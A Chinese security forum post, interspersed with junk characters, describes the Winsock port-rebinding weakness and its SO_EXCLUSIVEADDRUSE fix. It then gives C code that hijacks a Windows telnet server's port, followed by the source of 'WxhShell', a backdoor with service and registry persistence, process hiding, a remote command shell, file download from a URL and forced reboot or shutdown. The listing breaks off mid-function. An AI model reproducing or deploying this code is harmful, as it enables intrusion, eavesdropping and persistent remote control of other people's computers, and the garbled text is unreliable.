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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iza.' Mm~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VrKFpFd YR.f`-<Z saddr.sin_family = AF_INET; l8 XY CTZ#QiNP saddr.sin_addr.s_addr = htonl(INADDR_ANY); to#T+d.(v ui&^ m, bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]g]~!": %(~8a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b/UjKNf@ jN%+)Kj0C) 这意味着什么?意味着可以进行如下的攻击: L[Y|K%;~ J';XAB } 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cJ#%OU3p lT+N{[kLt* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6AKT-r. iI@(Bl] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `cqZ;(^ J1d|L|M 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 &Ui&2EW e
ls&_BPE 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yHxi^D] @l?2", 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g?9%_&/})A JT*Pm"} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]Czq
A c vb2aj!8_? #include Y#fiJ #include wi S8S{K5 #include [KsVI.gn #include J:2Su1"ODh DWORD WINAPI ClientThread(LPVOID lpParam); ]*\<k int main() baib_-$ { Iq(;?_ WORD wVersionRequested; o[>p DWORD ret; y0
qq7Dmu WSADATA wsaData; (^= Hq'D BOOL val; (Ek=0;Cr SOCKADDR_IN saddr; @v=A)L SOCKADDR_IN scaddr; )}SiM{g int err; 3L%g2` SOCKET s; Eq'oy~.oV SOCKET sc; !Nno@SP@ int caddsize; fc9gi4y9 HANDLE mt; ]]_H|tO DWORD tid; {-,^3PI\ wVersionRequested = MAKEWORD( 2, 2 ); -0:B2B err = WSAStartup( wVersionRequested, &wsaData ); f2FGod<CzN if ( err != 0 ) { ,E8~^\HV printf("error!WSAStartup failed!\n"); -1 _7z{. return -1; 9p9-tJfH. } R,ddH[3 saddr.sin_family = AF_INET;
q
pFzK "6P- 0CJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x^JjoI2vf 'W|@d8}h saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +ywd(Tuzm saddr.sin_port = htons(23); eE[/#5tK if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !d=Q@oy5 { Y^CbpG&-vC printf("error!socket failed!\n"); My\ return -1; t+BLO< } 6882:,q val = TRUE; ! jb{q bq //SO_REUSEADDR选项就是可以实现端口重绑定的 von~-51; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~*uxKEH { fY9/u = printf("error!setsockopt failed!\n"); /'0,cJnm return -1; dM3V2TT } YK|Y^TU^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sYY=MD
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /yj-^u\R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .
G ~,h 9C)w'\u9+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i4oBi]$T { Zc57] ~ ret=GetLastError(); }V
%b printf("error!bind failed!\n"); \^%5! return -1; Y/w) VV } 9 ulr6 listen(s,2); fO{E65uA while(1) _G5MQ%z { yy-\$<j caddsize = sizeof(scaddr); +qEvz<kch //接受连接请求 #]5|Qhrr+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WS)u{
or if(sc!=INVALID_SOCKET) O@bDMg { CmPix]YMQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ICgyCsZ, if(mt==NULL) $\@yH^hL { 5PlTf?Ao printf("Thread Creat Failed!\n"); A4W61f break; $MG. I[h } `;R|SyrX } -/#tQ~{gs CloseHandle(mt); <ArP_!
`3 } kV Z5>D$ closesocket(s); ywV8s|o WSACleanup(); c/57_fOK return 0; 20f):A6 } !S',V&Yb DWORD WINAPI ClientThread(LPVOID lpParam) #UH7z 4u { ^ok;<fJ SOCKET ss = (SOCKET)lpParam; (N\Zz*PLz SOCKET sc; `'`T'+0 unsigned char buf[4096]; WwDxZ>9jw SOCKADDR_IN saddr; S
Yvifgp long num; "@I"0OA DWORD val; cuP5cL/Y DWORD ret; S:"t]gbF = //如果是隐藏端口应用的话,可以在此处加一些判断 N{G+|WmQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 UI:{*N**Z saddr.sin_family = AF_INET; @kKmkVhu* saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ; (+r)r_ saddr.sin_port = htons(23); oa?eK if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $V)LGu2(m { [y T4n.f printf("error!socket failed!\n"); bMD'teJ return -1; ^9UF
Pij" } >9g` 9hB val = 100; pTK|u!fs if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5yQv(<~*G { , &HZvU& ret = GetLastError(); ^"%SHs return -1; [@= [<
_r } r\"O8\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u-h3xj { 9Yowz]') ret = GetLastError(); `8TM<az-L return -1; gH0B[w ] } %6"b<
MAO if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v; ;X2 a1k { puv*p%E printf("error!socket connect failed!\n"); ^F~e?^s closesocket(sc); v|Tg % closesocket(ss); UG>OL2m>5 return -1; |Tz4 xTK } ^[CD- # while(1) %f&(U/ { morI'6N //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .so{ RI //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?8(`tS(_? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S~F:%@,* num = recv(ss,buf,4096,0); 88U4I if(num>0) H9w*U send(sc,buf,num,0); g}3c r. else if(num==0) *ma/_rjK break; K.R2)o` num = recv(sc,buf,4096,0); }FMl4 _}u if(num>0) IO xj$ ?%l send(ss,buf,num,0); ,/W<E else if(num==0) lrh6lt) break; fu=}E5ScK } );z}T0C closesocket(ss); %MP s}B closesocket(sc); ;?2vW8{p< return 0 ; AEnS_Q } Oyq<y~} GGF;T&DWad {zUc*9 ========================================================== {7eKv+30 n/8Kb.Vf 下边附上一个代码,,WXhSHELL `CK;,>i X{#@ :z$ ========================================================== ^^?DYC
n/@/yJ<EFi #include "stdafx.h" i?AZ|Ha[ 9$Mi/eLG2N #include <stdio.h> dY\"'LtF #include <string.h> e|Sg?ocR #include <windows.h> ].dTEzL9X #include <winsock2.h> hDlk! #* #include <winsvc.h> e^Xij Id. #include <urlmon.h> AD?DIE(v q 8=u.T #pragma comment (lib, "Ws2_32.lib") 6ddkUPTF #pragma comment (lib, "urlmon.lib") /2dK*v0
m4Wn$Z #define MAX_USER 100 // 最大客户端连接数 E}@8sY L #define BUF_SOCK 200 // sock buffer pN0c'COy^ #define KEY_BUFF 255 // 输入 buffer :
1fik d<7J)zUm3 #define REBOOT 0 // 重启 UWn}0:6t #define SHUTDOWN 1 // 关机 i8B%|[nm cfeX(0 #define DEF_PORT 5000 // 监听端口 +X*`}-3 38q@4U=aiw #define REG_LEN 16 // 注册表键长度 ,uKvE`H #define SVC_LEN 80 // NT服务名长度 j|`{
1`' 4nl>&AV // 从dll定义API Rc6
)v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BE"nyTQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k) v[/#I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !W%HAlUAG[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X^|oY]D zK-hNDFL{ // wxhshell配置信息 \aZ(@eF@@Q struct WSCFG { 0= 'DDy int ws_port; // 监听端口 : l>Ue& char ws_passstr[REG_LEN]; // 口令 CY>NU int ws_autoins; // 安装标记, 1=yes 0=no rIb[gm)Rk char ws_regname[REG_LEN]; // 注册表键名 5&X char ws_svcname[REG_LEN]; // 服务名 Ve8! char ws_svcdisp[SVC_LEN]; // 服务显示名 [QZ~~(R char ws_svcdesc[SVC_LEN]; // 服务描述信息 z t,-O7I'1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %o"Rcw| int ws_downexe; // 下载执行标记, 1=yes 0=no 9uS7G * char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" +rT( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ox~'w0c,f Tc88U8Gc }; <,E*,&0W 99ha/t // default Wxhshell configuration 0X0D8H(7Q struct WSCFG wscfg={DEF_PORT, 3,vH:L4 "xuhuanlingzhe", 'o7PIhD" 1, kuH;AMdv "Wxhshell", g?>AY2f[5 "Wxhshell", /5x`TT "WxhShell Service", T),:8/ "Wrsky Windows CmdShell Service", o`77gkLO "Please Input Your Password: ", *}_/:\v 1, @zJI0_Bp " http://www.wrsky.com/wxhshell.exe", GcU/ "Wxhshell.exe" i`>X5Da5 }; k(
g$_ ]X <y.D0^68 // 消息定义模块 "q`%d_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EkL\~^ char *msg_ws_prompt="\n\r? for help\n\r#>"; W1@;94Sb~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; X#3<hN*v char *msg_ws_ext="\n\rExit."; `U g.c char *msg_ws_end="\n\rQuit."; oX}n"5o: char *msg_ws_boot="\n\rReboot..."; "T&uS1+=c char *msg_ws_poff="\n\rShutdown..."; r/4]b]n char *msg_ws_down="\n\rSave to "; |?|
u-y {;4PP463 char *msg_ws_err="\n\rErr!"; Qi[D&47XO char *msg_ws_ok="\n\rOK!"; t<|s& .u*].As= char ExeFile[MAX_PATH]; 'u3+k. int nUser = 0; ?
w?k-v HANDLE handles[MAX_USER]; `{wku@ int OsIsNt; kW!:bh =P#!>*\ar SERVICE_STATUS serviceStatus; \a6)t%u SERVICE_STATUS_HANDLE hServiceStatusHandle; 9/$P_Q:3 zOE6;c81 // 函数声明 {6n \532@ int Install(void); A$F;fCV* int Uninstall(void); ^97ZH)Ww int DownloadFile(char *sURL, SOCKET wsh); _#4,&bh8 int Boot(int flag); ,\M_q">npc void HideProc(void); :7ngVc int GetOsVer(void); j?,*fp8 int Wxhshell(SOCKET wsl); u W|x)g11a void TalkWithClient(void *cs); -*lP1Nbp int CmdShell(SOCKET sock); ? g{,MP5 int StartFromService(void); >Y+KL int StartWxhshell(LPSTR lpCmdLine); D9C}Dys Cv~hU%1T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qf|}%}%fp VOID WINAPI NTServiceHandler( DWORD fdwControl ); "?{yVu~9 d8kwW!m+ // 数据结构和表定义 S1zw'!O5 SERVICE_TABLE_ENTRY DispatchTable[] = S<_pGz$V { 9Bk}g50$# {wscfg.ws_svcname, NTServiceMain}, be/1-=m {NULL, NULL} n`}&,UA$4 }; N 9&@,3 :b;1P@W< // 自我安装 CCY|FK int Install(void) k@aP&Z~ { 8@aS9th$ char svExeFile[MAX_PATH]; Rdg0WT*;j HKEY key; O|RO
j strcpy(svExeFile,ExeFile); DjIswI1I #(IMRdUf // 如果是win9x系统,修改注册表设为自启动
)M N
yOj if(!OsIsNt) { tKeO+6 l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qg>GW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j_yFH#^W: RegCloseKey(key); w)eQ'6Vu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )t0b$<% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ptv4v[gQ RegCloseKey(key); y+scJ+< return 0; E
E|zY% } %gMpV } W-PZE|< } -NPkN%h else { wDhcHB 'h^DI` // 如果是NT以上系统,安装为系统服务 $JB:rozE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gyQ9Z} if (schSCManager!=0) =(X'c.%i { L[G\+ SC_HANDLE schService = CreateService 5SL>q`t.bd ( pInWKj[y1 schSCManager, ePRM v wscfg.ws_svcname, {}o>nenx\ wscfg.ws_svcdisp, -fx88 SERVICE_ALL_ACCESS, O|&TL9: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D
Ok^ON SERVICE_AUTO_START, aaugu.9 SERVICE_ERROR_NORMAL, I!7.fuO svExeFile, W:poUG1UR NULL, /e sk NULL, K2rS[Kdfaq NULL, z83:a)U NULL, `VFl|o#H NULL ZU.)K>' ); :ZfUjqRE if (schService!=0) ,N7l/6 { ;vc lAsJ CloseServiceHandle(schService); ~R@m!'Ik CloseServiceHandle(schSCManager); :/[YY?pg- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :
|*,Lwvd strcat(svExeFile,wscfg.ws_svcname); sHTePEJ_h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w52HN;Jm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DYKV54\ue RegCloseKey(key); eAYW%a return 0; ~`>26BWQz } e3={$A h } &/hr-5k CloseServiceHandle(schSCManager); T{H#]BF<E } :iQ^1S`pH } fI
d) mYjiiql~ return 1;
iRwW> a3/ } 9h38`*Im; :IT U0%;!+ // 自我卸载 d)GkXll1D int Uninstall(void) @oqi@&L'C { VtzmY HKEY key; !+45=d 5 Go+xL/f if(!OsIsNt) { F}B/-".^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~R?dDL RegDeleteValue(key,wscfg.ws_regname); 9Oo*8wvGG RegCloseKey(key); ;Jbc'V'fm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9MtJo.A RegDeleteValue(key,wscfg.ws_regname); /IJ9_To RegCloseKey(key); 88np/jvC{ return 0; <#p|z`N } -KwL9J4u } ilRm}lU|x } C3b0`|5 else { mf]( 3ZL E2h;hr;W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WQLHjGehe if (schSCManager!=0) t2-nCRXEP { }M9DqZ;I SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Nzi/3r7m if (schService!=0) i3 l #~ { [mB(GL if(DeleteService(schService)!=0) { @Wx`l) b CloseServiceHandle(schService); [rUh;_b\D CloseServiceHandle(schSCManager); X|1_0 return 0; }u3H4S<o } L >Ez- CloseServiceHandle(schService); "'}v 0*[ } f0mH|tI` CloseServiceHandle(schSCManager); W#Hv~1 } QK3j_'F=E } IQlw 914
3dxnh,]&@ return 1; yrE,,N%I } F'UguC"> Dmm r]~ // 从指定url下载文件 fs3-rXoB int DownloadFile(char *sURL, SOCKET wsh) CVGOX z { S1az3VJI\ HRESULT hr; 8MeO U char seps[]= "/"; .i3lG(
YG char *token; 6h:?u4 char *file; Ql:
b1C, char myURL[MAX_PATH]; / 8WpX char myFILE[MAX_PATH]; DUuC3^R C{`^9J- strcpy(myURL,sURL); 2iR:*}5 token=strtok(myURL,seps); tJh3$K\ while(token!=NULL) v/aPiFlw { KT
lP:pB; file=token; *m| t=9E token=strtok(NULL,seps); ph8Jn+|E } |>IUtUg\ 0?6If+AC GetCurrentDirectory(MAX_PATH,myFILE); :?$Sb8OuIL strcat(myFILE, "\\"); ){:q;E]^fB strcat(myFILE, file); 47C(\\ send(wsh,myFILE,strlen(myFILE),0); 3I;xU(rv send(wsh,"...",3,0); a* W_fxb hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %<=w [*i if(hr==S_OK) r(,= uLc return 0; \`P2Yq else clq~ ;hx return 1; DYT@BiW{ yBPt%EF } }rKJeOo^x? ,#P,B;r~ // 系统电源模块 bRK CY6 int Boot(int flag) <m Ju v { GCP{Z]u HANDLE hToken; [V> :`? TOKEN_PRIVILEGES tkp; )p/=u@8_f 3WO#^}t if(OsIsNt) { t?]\M&i& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 55>" R{q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L@1,7@
tkp.PrivilegeCount = 1; J$6-c'8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
JVUZ}#O AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gqP-E if(flag==REBOOT) {
o273|* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -~vl+L return 0; RjR&D?dc } C@TN5?Z else { {[M0y*^64$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?AeHVQ
:C return 0; PwFQ #Z } zp7V\W;
& } l)tTg+: else { )(:+q(m if(flag==REBOOT) { 4|zdXS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L;1$xI8tx return 0; u%6Irdx } sorSyuGr else { h`
irO5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =~GE?}.o return 0; yCF"Z/. } [+g( } <mv7HKVg 8iMF 8\ return 1; bx hP jAL } NLcO{ 54
M!Fq- // win9x进程隐藏模块 EX`"z(L void HideProc(void) ~`*1*;Q<H| { d] b~)!VW I! h(` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '}U_D:o.b if ( hKernel != NULL ) L.C
^E7;Z_ { ${A5- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `3f_d}b ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -Z:]<;qU FreeLibrary(hKernel); /6+1{p } !cq=)xR "C_T]%'Wm return; k1ipvKxp:8 } XIr{U5$<6 2Pbe~[ // 获取操作系统版本 Q)x?B]b- int GetOsVer(void) cZNi~ { pwJ'3NbS OSVERSIONINFO winfo; ZWf-X winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q*~gWn>T GetVersionEx(&winfo); GY oZ$p" C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j2RRSz&9 return 1; [leW/2i else Um]p&phVL return 0; H7{Q@D8 } ,\BVV, cU7rq j_ // 客户端句柄模块 Yta1` int Wxhshell(SOCKET wsl) -Qg
2qN2{ { |0tg:\. SOCKET wsh; UppBnw struct sockaddr_in client; xj0cgK|! DWORD myID; PV?]UUc'n< m! rwG( while(nUser<MAX_USER) 1*Sr5N[= { .
_1jk int nSize=sizeof(client); g d z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aRbx if(wsh==INVALID_SOCKET) return 1; lkV6qIj ,VPbUo@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +p13xc?#j if(handles[nUser]==0) -G8c5b[ closesocket(wsh); VBu8}}Ql else Uh>.v |P6 nUser++; |r5e{ } sC% b~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -@rxiC:Q ?Q@L-H` return 0; `'uUmyg } }ppVR$7]0 CV s8s // 关闭 socket *i`v~> void CloseIt(SOCKET wsh) UE^D2 u { OQ6sv/ closesocket(wsh); V/J>GRjw nUser--; O~.U:45t ExitThread(0); d4%dIR) } s0r"N7~ ([Ebsj // 客户端请求句柄 ?8Et[tFg void TalkWithClient(void *cs) wuKl-:S;Vs { {] O`gG ,:^
N[b SOCKET wsh=(SOCKET)cs; x Y| yI> char pwd[SVC_LEN]; x;Gz6| char cmd[KEY_BUFF]; !/947Rn char chr[1]; C*7!dW6 int i,j; .AXdo'&2i [(1O" while (nUser < MAX_USER) { UV4u.7y v51EXf if(wscfg.ws_passstr) { U|8[#@r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xtft*Z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iSlFRv?a //ZeroMemory(pwd,KEY_BUFF); ^OF5F8Tf/ i=0; |=\91fP68` while(i<SVC_LEN) { R aefj(^V 1 o|T // 设置超时 <{giHT fd_set FdRead; Rvvh{U;t struct timeval TimeOut; s|Zx(.EP FD_ZERO(&FdRead); 8zZSp FD_SET(wsh,&FdRead); ^;zWWg/d TimeOut.tv_sec=8; en>9E.?N TimeOut.tv_usec=0; &eIGF1ws int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m=QCG)s if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vh
&GIb Ivsb<qzG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rR]-RX( pwd =chr[0]; J^fm~P>. if(chr[0]==0xd || chr[0]==0xa) { >Dne? 8r pwd=0; 3%^z ?_ break; ^/*KNnAWp } I_?He'=0oU i++; a\pi(9R } pW{8R^vKm /&h+t^l_Qj // 如果是非法用户,关闭 socket "x&3Z@q7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?vu_k 'io } %,|ztH/ Q t^.'>RwW| send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )Pli}) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M-Y0xWs }~Q5Y3]#~ while(1) { 5 [4Z=RP XrS\+y3 ZeroMemory(cmd,KEY_BUFF); L,~MicgV ^uW%v2 // 自动支持客户端 telnet标准 f jI #- j=0; Wr>(#*r7q while(j<KEY_BUFF) { pCC 7(Ouo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9=
V>f)R cmd[j]=chr[0]; dv7<AJ if(chr[0]==0xa || chr[0]==0xd) { m"4B!S&Fc( cmd[j]=0; s*Ih_Ag=: break; PKA }zZ } r~8;kcu7 j++; DZe}y^F } se!mb _! Q.k
:\m*h // 下载文件 /s
c.C if(strstr(cmd,"http://")) { ]>Si0% send(wsh,msg_ws_down,strlen(msg_ws_down),0); i[150g?K if(DownloadFile(cmd,wsh)) iCTQ]H3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); LmQ/#Gx else Z)&D`RCf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =-~;OH/ } cS|VJWgTZ else { i-W '# z]M switch(cmd[0]) { RH(V^09[o s-k_d< // 帮助 z<pJYpxH case '?': { \cQ .|S send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R#(G%66
break; 4DLq}v } zX kx7d8 // 安装 "+|L_iuNQ case 'i': { s&'BM~WI if(Install()) !gH9 ay send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~O;y?]U else hazq#J! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pl+xH%U+? break; 6:?rlh } #tjmWGo, // 卸载 t`G)b&3_O case 'r': { o>c^aRZ{ if(Uninstall()) #SkX@sl@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8g*hvPc else *7" L]6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ht[{ryTxu break; :?CQuEv- } ?_q+&)4-o // 显示 wxhshell 所在路径 ALGgAX3t case 'p': { {8@\Ij char svExeFile[MAX_PATH]; dqe7s Zl! strcpy(svExeFile,"\n\r"); X=~V6m strcat(svExeFile,ExeFile); b |7ja_ send(wsh,svExeFile,strlen(svExeFile),0); Y )b@0' break; ZPO|<uR } 7*s8ttX // 重启 R Fko>d case 'b': { "Xn%at4 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9"sDm}5% if(Boot(REBOOT)) t`|,6qEG send(wsh,msg_ws_err,strlen(msg_ws_err),0); cDV^8 R else { $h28(K% closesocket(wsh); "0&N} ExitThread(0); G'x .NL } 'v&}( break; S>Z|)I } pOga6'aB) // 关机 H4<Nnd\ case 'd': { C!%:o/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;sPzOS9 if(Boot(SHUTDOWN)) #[ -\lU| send(wsh,msg_ws_err,strlen(msg_ws_err),0); @5<CXTdF9c else { N/~N7MwJj closesocket(wsh); [!"XcFY:a ExitThread(0); %<Q*Jf }
27 GhE break; cA;js;x@ } uDuF#3
+" // 获取shell o-eKAkh case 's': { ^_>!B) CmdShell(wsh); orIQ~pF# closesocket(wsh); jo98
jA< ExitThread(0); \u{8Bak0 break; qpqokK } \#dl6:" // 退出 Q M1F?F case 'x': { F#V q#|_)> send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p-$Cs _{Z CloseIt(wsh); GsV4ZZ break; u oVNK } Qv#]81i(1 // 离开 eN-au/kN case 'q': { E9 Y\X send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9=+-QdX+0] closesocket(wsh); WZFH@I28 WSACleanup(); ;D2E_!N
dt exit(1); B|o%_:]+E break; j9y3hQ+q } ?IYY'fS" } #a9_~\s } JlZ0n; jO'|mGUM // 提示信息 kA#vByf`v if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6*XM7'n } N$ alUx* } O/OiQ^T fA^Em)cs2 return; 8+'C_t/0i } \m/xV/ HKmcQM // shell模块句柄 (36K3=Q a int CmdShell(SOCKET sock) P-Su5F { 2x}6\t STARTUPINFO si; /c-nE3+rn ZeroMemory(&si,sizeof(si)); TD,nIgH` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J|QiH< si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >Pal H24] PROCESS_INFORMATION ProcessInfo; JMyTwj[7 char cmdline[]="cmd"; D`o<,Y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3y`F<&sA return 0; f7<pEGb } .v`b[4M4 3h=8"lRc // 自身启动模式 TI9X.E? int StartFromService(void) z,Lzgh { &0v.E"0< typedef struct 46,j9x { $k2)8 #\ DWORD ExitStatus; [*Ju3 DWORD PebBaseAddress; 1B:aC|B DWORD AffinityMask; O!R"v' DWORD BasePriority; N:BL=}V ULONG UniqueProcessId; KSqTY>%fnv ULONG InheritedFromUniqueProcessId; | {P|. } PROCESS_BASIC_INFORMATION; F=wRkU \ e:d)^cbh PROCNTQSIP NtQueryInformationProcess; jNl/!l7B ;e s^R?z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pR$6,Vi static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "S!3m9_# F9Z@x) HANDLE hProcess; }GZbo kWg. PROCESS_BASIC_INFORMATION pbi; B5=($?5^6% TMj4w,g4 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fEnQE EU~P if(NULL == hInst ) return 0; lF4u{B9DM i g71/'D g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X>l*v\F9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G*n2Ii NtQueryInformationProcess = 